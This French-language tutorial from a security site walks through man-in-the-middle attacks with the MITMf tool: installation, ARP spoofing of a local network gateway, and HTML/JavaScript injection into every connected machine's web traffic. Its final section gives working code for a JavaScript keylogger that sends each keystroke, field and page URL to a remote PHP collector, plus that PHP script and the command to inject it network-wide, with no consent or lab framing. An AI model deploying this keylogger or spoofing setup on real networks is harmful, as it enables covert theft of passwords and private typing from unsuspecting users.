NeosLab.com
Sniffing & Spoofing

Injecter du code arbitraire lors d’une attaque MITM à l’aide de MITMf

En cryptographie et en sécurité informatique, une attaque MITM (Man-In-The-Middle) est une attaque par laquelle l’attaquant relaie secrètement et éventuellement modifie la communication entre deux parties qui croient communiquer directement entre elles. L’écoute active est un exemple d’attaque de type intermédiaire, dans laquelle l’attaquant établit des connexions indépendantes avec les victimes et relaie les messages entre eux pour leur faire croire qu’ils discutent directement via une connexion privée, alors qu’en réalité toute la conversation est contrôlée par l’attaquant. L’attaquant doit pouvoir intercepter tous les messages pertinents qui passent entre les deux victimes et en injecter de nouveaux. Ceci est simple dans de nombreuses circonstances, par exemple un attaquant à portée de réception d’un point d’accès sans fil non crypté (Wi-Fi) pourrait s’insérer dans le réseau et créer une attaque MITM.

En tant qu’attaque visant à contourner l’authentification mutuelle, ou son absence, une attaque de type MITM ne peut réussir que lorsque l’attaquant peut usurper l’identité de chaque point de terminaison en sa faveur et ce comme prévu à des fins légitimes. La plupart des protocoles cryptographiques incluent une forme d’authentification de point d’extrémité spécifique pour empêcher les attaques MITM. Par exemple le protocole TLS peut authentifier une ou les deux parties en utilisant une autorité de certification approuvée mutuellement.

Source: wikipedia.org

QU’EST CE QUE MITMF

MITMf vise à fournir un point d’entré unique pour les attaques de type Man-In-The-Middle ainsi que les attaques réseau tout en mettant à jour et en améliorant les attaques et techniques existantes.

Initialement conçu pour pallier les lacunes importantes d’autres outils (comme par exemple, Ettercap, Mallory), ce programme a été presque intégralement réécrit pour fournir un cadre modulaire et facilement extensible pour que chacun puisse l’utiliser pour implémenter sa propre attaque MITM.


FONCTIONNALITÉS MITMF
  • Le framework contient un serveur SMB, HTTP et DNS intégré qui peut être contrôlé et utilisé par les différents plugins, il contient également une version modifiée du proxy SSLStrip qui permet la modification HTTP et un contournement partiel du HSTS.
  • À partir de la version 0.9.8, MITMf prend en charge le filtrage et la manipulation de paquets actifs (essentiellement ce que les etterfilters ont fait, mais plus élaboré), permettant aux utilisateurs de modifier tout type de trafic ou de protocole.
  • Le fichier de configuration peut être modifié à la volée pendant l’exécution de MITMf, les modifications seront transmises via le framework: cela vous permet de modifier les paramètres des plugins et des serveurs lors d’une attaque.
  • MITMf peut capturer les protocoles FTP, IRC, POP, IMAP, Telnet, SMTP, SNMP (chaînes communautaires), NTLMv1 / v2 (tous les protocoles supportés tels que HTTP, SMB, LDAP, etc.) et Kerberos en utilisant Net-Creds, qui est exécuté au démarrage.
  • L’intégration des répondeurs permet de supporter les empoisonnements réseau de type LLMNR, NBT-NS et MDNS et de prendre en charge les serveurs non fiables WPAD.

Source: github.com

INSTALLER MITMF

L’installation de MITMf est assez simple et ne nécessite pas de compétences avancées. Pour ce faire, ouvrez simplement votre terminal et tapez une à une les commandes ci-dessous.

Pour Linux Arch

$ pacman -S python2-setuptools libnetfilter_queue libpcap libjpeg-turbo capstone

Pour Debian et ses dérivés comme Ubuntu, Kali Linux etc …

$ apt install python-dev python-setuptools libpcap0.8-dev libnetfilter-queue-dev libssl-dev libjpeg-dev libxml2-dev libxslt1-dev libcapstone3 libcapstone-dev libffi-dev file

Si vous êtes sur Linux Arch rappelez-vous d’utiliser “pip2” au lieu de “pip” à l’extérieur de “virtualenv“.

Installer virtualenvwrapper

$ pip install virtualenvwrapper

Editer votre fichier .bashrc ou .zshrc afin d’y intégrer la source du script de virtualenvwrapper.sh.

$ source /usr/bin/virtualenvwrapper.sh

Le chemin du script peut varier en fonction de la distribution Linux que vous utilisez. Quand vous avez terminé, redémmarez votre terminal ou bien éxécutez la commande ci-dessous:

$ source /usr/bin/virtualenvwrapper.sh

Créer votre virtualenv

$ mkvirtualenv MITMf -p /usr/bin/python2.7

Cloner le dépôt de MITMf

$ mkdir -p /opt/sniffing-spoofing/
$ cd /opt/sniffing-spoofing/
$ git clone https://github.com/byt3bl33d3r/MITMf
$ cd MITMf && git submodule init && git submodule update --recursive
$ pip install -r requirements.txt
$ chmod +x mitmf.py
COMMENT CELA FONCTIONNE ?

Le schéma d’attaque est relativement simple. La machine attaquante doit se connecter à un réseau sur lequel d’autres machines sont connectées. Cela peut être un réseau domestique, un réseau de bureau, un réseau de cybercafé ou un point d’accès public.

Une fois la machine attaquante connectée, vous devrez exécuter les scripts fournis ci-dessous pour injecter le code arbitraire à toutes les machines connectées sur le même réseau que la machine attaquante.

Avant d’allez plus loin, nous allons avoir besoin de déterminer l’adresse IP de la passerelle ainsi que le nom de votre interface réseau. Pour se faire vous pouvez utiliser les commandes “ifconfig” et “iproute” comme le montre les exemples suivantes.

Déterminer le nom de mon interface réseau

$ ifconfig

Réponse

Comme vous pouvez le voir dans la capture d’écran ci-dessus, dans notre cas, le nom de l’interface est “wlp2s0”..

Déterminer l’adresse IP de la passerelle

$ ip route

Réponse

A partir de la réponse obtenu, il est clair que 192.168.1.1 est l’adresse IP de la passerelle par défaut.

Injection de Code HTML

$ cd ~/
$ mkdir demo && cd demo
$ echo '<div>HTML code to inject</div>' > ~/demo/inject.html
$ mitmf --inject --html-file ~/demo/inject.html --spoof --arp --gateway 192.168.1.1 -i wlp2s0

Injection de Code JS

$ cd ~/
$ mkdir demo && cd demo
$ echo '<script type="text/javascript">alert("JS code to inject");</script>' > ~/demo/inject.js
$ mitmf --inject --js-file ~/demo/inject.js --spoof --arp --gateway 192.168.1.1 -i wlp2s0

Important: Si Apache et/ou SMB sont installés, vous devrez arrêter ces services avant d’exécuter MITMf afin d’éviter tout conflit de port.

DÉPLOYER L’ATTAQUE

Pour les besoins de notre test, nous choisirons la deuxième option, en injectant un keylogger Web en JavaScript, qui sera présent dans chaque page visitée par chaque machine connectée au réseau. Le keylogger va saisir toutes les frappes des utilisateurs et les envoyer à un serveur distant. Nous avons publié il y a quelques jours un autre tutoriel expliquant comment créer un Keylogger Javascript basé pour le Web, qui peut vous être utile si vous voulez comprendre le fonctionnement d’un keylogger.

Créer le fichier JS Keylogger – keylogger.js

if((window.jQuery))
{
	console.log("jQuery Found");
}
else
{
	console.log("jQuery Not Found");
	var script = document.createElement('script');
	script.src = 'https://code.jquery.com/jquery-3.3.1.min.js';
	document.body.appendChild(script);
}

function c(d)
{
	jQuery.ajax(
	{
		dataType: "jsonp",
		type:"GET",
		url: "https://example.com/keylogger.php", // Your Keylogger URL
		jsonp:"keypressed",
		data:
		{
			altnKey:d.altKey?1:0,
			ctrlKey:d.ctrlKey?1:0,
			userKey:d.key,
			targKey:d.target.id,
			userURI:d.target.baseURI
		},
		async:false,
		success: function(data)
		{
			console.log(data);
		},
		error:function(xhr, ajaxOptions, thrownError)
		{
			console.log("Error");
		}
	});	
}

window.onload = function()
{
	window.addEventListener("keydown", function(e) 
	{
		c(e);
	});
}

Assurez-vous de remplacer “https://example.com/keylogger.php” par l’URL réelle de votre fichier PHP.

Créer le fichier PHP Keylogger – keylogger.php

header($_SERVER["SERVER_PROTOCOL"]." 404 Not Found", true, 404);
header('Access-Control-Allow-Methods: GET, REQUEST, OPTIONS');
header('Access-Control-Allow-Credentials: true');
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Headers: Content-Type, *');

$file = 'data.txt';
if(!file_exists($file)) 
{
	$fh = fopen($file, 'w');
}

function f($str)
{
	return trim(preg_replace("(\\\)","",htmlentities(strip_tags($str),ENT_QUOTES,'UTF-8')));
}

$altnKey=(int)$_GET['altnKey'];
$ctrlKey=(int)$_GET['ctrlKey'];
$userKey=f($_GET['userKey']);
$targKey=f($_GET['targKey']);
$userURI=f($_GET['URI']);

$string = $altnKey."|".$ctrlKey."|".$userKey."|".$targKey."|".$userURI."\n";

file_put_contents($file, $string, FILE_APPEND);

Le fichier “keylogger.php” doit être hébergé sur un serveur distant et l’URL du fichier complet doit être spécifiée dans le fichier “keylogger.js”.

Injection le fichier JS

Maintenant que nous sommes prêts avec notre fichier, nous devons injecter le JavaScript dans le réseau. Pour ce faire, nous utiliserons la commande ci-dessous.

$ mitmf --inject --js-file ~/demo/keylogger.js --spoof --arp --gateway 192.168.1.1 -i wlp2s0

Réponse

Vous avez terminé ! Si vous voulez voir une attaque complète et comment les frappes de clavier sont collectées avec MITMf, n’hésitez pas à regarder la vidéo ci-dessous.

Laisser un commentaire

* By using this form you agree with the storage and handling of your data by this website.

Hey Wait!
Did you know ? You can build your Cyber security or IT career for FREE !
Make yourself happy, join our 8,000 members and receive FREE every day our latest tutorials and webinars to your mailbox!
Yes, Send it Over!
No Thanks!
close-link